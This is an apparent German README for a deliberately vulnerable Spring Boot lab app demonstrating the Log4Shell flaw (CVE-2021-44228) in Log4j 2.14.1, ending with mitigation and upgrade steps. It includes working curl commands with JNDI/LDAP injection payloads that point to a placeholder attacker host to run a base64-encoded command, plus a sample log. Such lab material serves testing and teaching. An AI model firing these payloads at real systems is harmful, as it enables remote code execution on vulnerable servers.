
Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die für CVE-2021-44228 anfällig ist.
Sie verwendet Log4j 2.14.1 (über spring-boot-starter-log4j2 2.6.1).

Führen Sie sie aus:
Importieren Sie das Projekt in einer Java-IDE als Maven-Projekt
Führen Sie CVEMainApplication.java als Spring-Boot-App aus.
Für GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
Für POST-Anfrage ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

Referenz : https://logging.apache.org/log4j/2.x/security.html
Schneller Hotfix für die Anwendung -> In Versionen >=2.10 kann dieses Verhalten abgemildert werden, indem entweder die Systemeigenschaft log4j2.formatMsgNoLookups oder die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS auf true gesetzt wird. Für Versionen von 2.0-beta9 bis 2.10.0 besteht die Gegenmaßnahme darin, die Klasse JndiLookup aus dem Klassenpfad zu entfernen: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Aktualisieren Sie in der Anwendung auf log4j 2.15.0 und stellen Sie sie bereit.